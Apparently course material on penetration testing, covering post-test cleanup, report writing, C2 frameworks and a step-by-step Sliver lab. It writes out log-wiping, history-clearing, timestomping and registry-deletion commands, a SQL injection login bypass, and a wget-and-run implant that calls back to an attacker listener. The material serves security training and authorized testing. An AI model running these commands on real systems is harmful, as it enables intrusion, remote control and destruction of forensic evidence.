

Clean up is 'The process of removing all artifacts and changes made during testing.'
What are 'artifacts'? In cybersecurity, an artifact is any piece of evidence or data that shows an action took place. As an example:
Clean Up is the process of systematically finding and deleting all of these digital fingerprints.
Objective:
The goal is simple to state but hard to execute: 'Restore the environment to its original state.'
You want the system to look exactly as it did before you ever touched it. If you found the system with a certain configuration, with certain files, and with certain logs, you want to leave it in that exact condition.
Why is Clean Up so important? There are two main reasons
1. Security Maintenance:
During a penetration test, you might discover and exploit a vulnerability. Maybe you uploaded a tool that opened a port, or you temporarily disabled a security control to test something else.
If you leave that change in place, you have essentially created a new vulnerability. You might have opened a door that a real attacker could then walk through after you're gone.
Clean up prevents you from becoming the very threat you're trying to protect against. It ensures that you don't leave the client's environment less secure than you found it.
2. System Integrity:
Your testing activities might be disruptive. You might have modified configuration files, killed processes, or changed user accounts.
If you don't revert these changes, the system might not function correctly after the test. Applications could crash, users might lose access, or performance could be degraded. Clean up ensures that business operations can return to normal without any modifications caused by your assessment.
This is the single most important rule of cleanup. You cannot clean up what you don't remember doing. Throughout your entire penetration test or red team operation, you must keep a real-time log of every single change you make to every system.
Your notes might look like this:
Machine: 192.168.1.105 (WEB-SRV-01)
Time: 14:32 - Uploaded PowerView.ps1 to C:\Windows\Temp\
Time: 14:35 - Ran PowerView to enumerate domain admins. Output saved to C:\Windows\Temp\admins.txt
Time: 14:40 - Created user 'tempadmin' with password 'P@ssw0rd123!' using net user command.
Time: 14:45 - Added 'tempadmin' to local administrators group.
Time: 14:50 - Modified registry key HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters to enable SMB signing (set to 1).
Time: 15:00 - Downloaded and ran mimikatz.exe from C:\Tools\ on my attack machine to C:\Windows\Temp\mimikatz.exe. Dumped credentials, output saved to C:\Windows\Temp\creds.txt.In an ideal world, this is the ultimate cleanup method. If the client has verified, clean backups of the systems you're testing, the simplest and safest way to restore the environment is to just revert to a pre-test backup. This ensures everything is exactly as it was.
However, this isn't always possible. Backups might not be available, or restoring them might cause too much downtime. In that case, you have to rely on your documentation.
This is a critical step that is often forgotten. During a test, you may have intentionally disabled or bypassed security controls to achieve your objectives. For example:
After the test, it's not enough to just assume these controls are back. You must verify them. You need to:
To understand why this is necessary, we need to understand the typical flow of an attack or a penetration test.
When an attacker first gains access to a system, they often have limited capabilities.
The operating system provides basic commands, but to do powerful things like dump passwords, move laterally, or maintain persistence, they need better tools. So, they bring their own.
All of these actions leave artifacts, the tool files themselves are sitting on the hard drive.
Now, imagine you're the system administrator or an incident responder investigating a potential breach. One of the first things you do is look for suspicious or unknown files. If you find a file named linpeas.sh in a user's tmp folder, your investigation just got a massive head start. You know exactly what tool was used and, by analyzing it, you can often figure out what the attacker did.
Therefore, to avoid this, attackers will uninstall or delete any scripts or executables they used once they are finished with them. They will delete the files. They will empty the Recycle Bin. They will try to securely overwrite the data so it can't be recovered by forensic tools, though simply deleting it is often enough to evade a basic investigation.
Red Team Application: A good red teamer will always have a cleanup script or procedure. After using a tool like Mimikatz, they won't just leave it there. They will have a command ready to securely delete it, often using tools like sdelete (for Windows) or shred (for Linux) to cleans free space by overwriting them multiple times.
Every operating system keeps detailed logs of its own activity.
When something happens (e.g. a user logs in, a program crashes, a service starts) the system writes it down in a log file.
Let's connect this to our previous point. An attacker uploads and runs mimikatz.exe. What do you think the operating system does? It logs it.
For an incident investigator, these logs are pure gold. They provide a step-by-step timeline of the attacker's actions. They can see:
This information is invaluable for understanding the breach, containing it, and potentially identifying the attacker.
So, what does an attacker do? They clear these logs to conceal their activities. They want to destroy that timeline. By deleting log entries, they make the investigator's job exponentially harder.
On Windows, the primary tool for managing logs is a command-line utility called wevtutil (which stands for Windows Event Log Utility). An attacker with sufficient privileges (usually administrator or SYSTEM) can use this tool to clear individual logs or all logs at once.
For example, the command to clear the Security log is:
wevtutil cl SecurityIf an attacker runs this command, it will delete all entries from the Security log.
A strong defender might notice that the log is suddenly empty, which is itself a huge red flag.
But a more sophisticated attacker might try to be more specific, only deleting specific event IDs related to their activity, though that's much harder.
Most system logs in Linux are stored as text files in the /var/log directory. This includes logs for authentication (/var/log/auth.log or /var/log/secure), system events (/var/log/syslog), and kernel activity.
An attacker can simply delete these files using the rm command:
rm /var/log/auth.logHowever, simply deleting the file might be noticeable because the file would be missing. A more stealthy approach is to truncate the file, which empties its contents but leaves the file itself in place. This can be done with a command like:
cat /dev/null > /var/log/auth.logBeyond the system logs, there's another incredibly rich source of information for investigators: the command history.
Imagine you're on a Linux system using the Bash shell. Every command you type is, by default, saved to a history file. This is a feature, not a bug, so you can easily recall and re-run commands you've used before.
C:\Users\<Username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt.Now, think about what that history file contains. If an investigator gets access to it, they can see every single command the attacker ran. It's like having a transcript of their entire session. They could see:
This is a complete roadmap of the attack.
So, before an attacker logs off a compromised Linux system, a key step is to clear their command history. The simplest way is to run the command:
history -cThis clears the history for the current session.
Every file on a modern operating system has metadata associated with it. The most common and important pieces of metadata are timestamps. There are typically three main timestamps:
These timestamps are crucial for investigators. They help build a timeline.
For example, an investigator might find a suspicious DLL file. They look at its timestamps. They see that it was created at 3:00 AM on a Sunday, which is outside of normal business hours. That's suspicious. They then see that several other system files in the same directory also have modified timestamps around the same time. This helps them piece together the scope and timeline of the intrusion.
Now, during their activities, attackers will inevitably interact with files on the system. They might read a configuration file (changing its access time). They might modify a system binary to add a backdoor (changing its modification time). These changes create inconsistencies in the timeline that can be detected.
So, to avoid raising these red flags, attackers can alter the timestamps. They can use tools or system calls to change a file's timestamps to match the timestamps of legitimate, older files in the same directory. This process, called timestomping, makes the malicious file blend in. If all the other system DLLs in C:\Windows\System32 were created in 2020, and your malicious DLL now also says it was created in 2020, it's much less likely to stand out during a cursory investigation.
touch secrets.txt
touch -t 202001010101 secrets.txt
The final cleanup technique on our list is Modifying Registry Values. This is specific to Windows systems.
First, what is the Windows Registry?
It's a massive, hierarchical database that stores virtually every setting, configuration, and option for the operating system itself, as well as for all the installed applications and hardware.
The Registry is organized in a tree structure, just like files and folders on a hard drive. There are five main root keys, but the most important for us are:
When an attacker performs actions on a Windows system, they often leave traces in the registry.
An investigator with forensic tools can examine the registry and find all of these artifacts. They can find the backdoor service. They can potentially find keys that point to the tools the attacker used.
How do attackers clean up the Registry?
To avoid leaving these traces, attackers will modify or delete the registry values they created or changed.
From the command line, they might use:
reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /fThis command deletes the value named WindowsUpdate from that key.
sc delete ServiceNameto remove it, which also removes its registry entries.
Modifying the registry is delicate. A mistake can make the system unstable or unbootable. This is why it requires careful planning and documentation. But for a thorough cleanup, it's often necessary.
Purpose of the Report:
1. Communicate findings to both technical and non-technical stakeholders: This is the dual-audience challenge. Your report must be understandable and useful to both a system administrator who needs to fix a vulnerability and a CEO who needs to understand the business risk.
2. Document vulnerabilities, risks, and business impact: It's not enough to just list technical flaws. You must explain the risk associated with each flaw and, crucially, translate that technical risk into business impact. 'A SQL injection vulnerability on your customer-facing website' is a technical finding. 'An attacker could exploit this SQL injection to steal your entire customer database, leading to regulatory fines, loss of customer trust, and significant reputational damage' is a statement of business impact.
3. Provide actionable remediation steps: A good report doesn't just point out problems; it provides solutions. For every finding, you must give clear, step-by-step instructions on how to fix it. The technical teams on the client side should be able to take your report and immediately start working on the fixes.
Audience:
This is the most critical concept in report writing. You must write for two primary audiences simultaneously.
A great report serves both audiences. It has an Executive Summary for management, and then detailed technical appendices for the sysadmins and developers.
1. Executive Summary
This is the most important part of the report for your client's leadership. It's a standalone section that summarizes the entire assessment.
2. Scope & Methodology
This section defines the rules of engagement and how you went about your work.
3. Findings & Vulnerabilities
This is the technical heart of the report. It should list every vulnerability discovered, typically ordered from highest to lowest risk. For each finding, you should include the following details. This creates a clear, repeatable structure for every issue.
'1. Navigate to https://example.com/login. 2. Enter ' OR 1=1-- in the username field. 3. Enter any password. 4. Click Login. 5. Observe that you are logged in as the first user in the database.'
This allows the developer to verify the issue.
C2 stands for Command and Control. A C2 framework is a collection of tools that enables an operator to remotely communicate with and manage compromised systems. These compromised systems run small programs commonly called implants, agents, or beacons.
A typical C2 setup has two main components:
Why is this necessary? Why not just use a simple reverse shell for each machine?
Examples: Cobalt Strike, Sliver, Havoc, Mythic, Covenant.
Advanced Persistent Threat (APT) groups almost always use C2 frameworks.
If you want to realistically simulate the threat your organization faces, you need to use the same tools and techniques they do.
Using a C2 framework elevates your red team exercise from a simple vulnerability scan to a realistic adversary simulation.
A C2 framework provides a structured and safe way to execute commands on remote systems. It handles all the complexities of networking, encryption, and error handling.
You don't have to write a custom backdoor for every operation.
This is the core scalability benefit. From a single console, you can see all your active implants. You can select a group of them and issue a command to take a screenshot on every machine simultaneously. You can sort them by domain, by operating system, or by the user who is logged in.
Beaconing is a communication pattern where a compromised machine (the implant) does not maintain a constant, open connection to the C2 server. Instead, it periodically 'checks in' or 'phones home' at regular intervals.
In technical terms, the beacon is a small, often encrypted, network request sent from the implant to the C2 server. This request might say, 'I'm alive. Do you have any commands for me?' The C2 server might respond with, 'No commands. Check in again in 60 seconds.' Or it might respond with, 'Yes, here is a command to run: whoami.' The implant then executes that command and sends the output back in the next scheduled beacon.
Key Characteristics:
Crucial Distinction: Asynchronous vs. Synchronous
This is a vital technical point.
Sliver is an open-source Command-and-Control (C2) framework used in penetration testing, red teaming, and adversary emulation to simulate real cyber-attacks and manage compromised machines during an assessment.
What a C2 framework does
In offensive security, a C2 framework lets an operator:
Sliver provides all of this in a structured, secure, and scalable way.
Core components of Sliver
1. Server
2. Client
3. Implants (agents)
Lab Network
Attacker: 10.10.10.3
Target: 10.10.10.51) Install Sliver on Kali Linux
Sliver is available in Kali’s repositories.
sudo apt update
sudo apt install sliver -yVerify installation:
sliver-server -h
sliver-client -h2) Start the Sliver Server
Launch the server:
sliver-serverYou should see:
sliver >This console is used to control all operations.
3) Start the Listener
In the Sliver console:
mtls --lhost 10.10.10.3 --lport 8888Expected output:
[*] Starting mtls listener on 10.10.10.3:8888Kali is now waiting for incoming callbacks.
You can verify using:
jobsYou can kill the Listener by:
jobs --kill <id>4) Generate a Linux Implant
We will create a Linux ELF implant that calls back to Kali over HTTP.
generate --os linux --arch amd64 \
--mtls 10.10.10.3:8888 \
--skip-symbols \
--save /home/kali/Desktop/debian_implantSliver will output something similar to:
[*] Implant saved to /home/kali/Desktop/debian_implant5) Host the Implant for Download
Open a new terminal on Kali:
cd /home/kali/Desktop/ (Where you saved your implant)
python3 -m http.server 8000This creates a simple web server to deliver the payload.
6) Transfer the Implant to the target
On the target machine:
cd /tmp/
wget http://10.10.10.3:8000/debian_implant(Replace debian_implant with the actual filename generated in your lab.)
7) Execute the Implant on the Target
chmod +x debian_implant
./debian_implant No output is expected. The implant runs silently.
8) Catch the Callback in Sliver
Back in the Sliver console:
sessionsExpected result:
ID Name Transport Remote Address
1 debian_implant mtls 10.10.10.4If you see this, the C2 channel is working successfully.
9) Interact with the Compromised Machine
use <id>You can now execute remote commands:
whoami
uname -a
pwdThese commands run on the victim machine.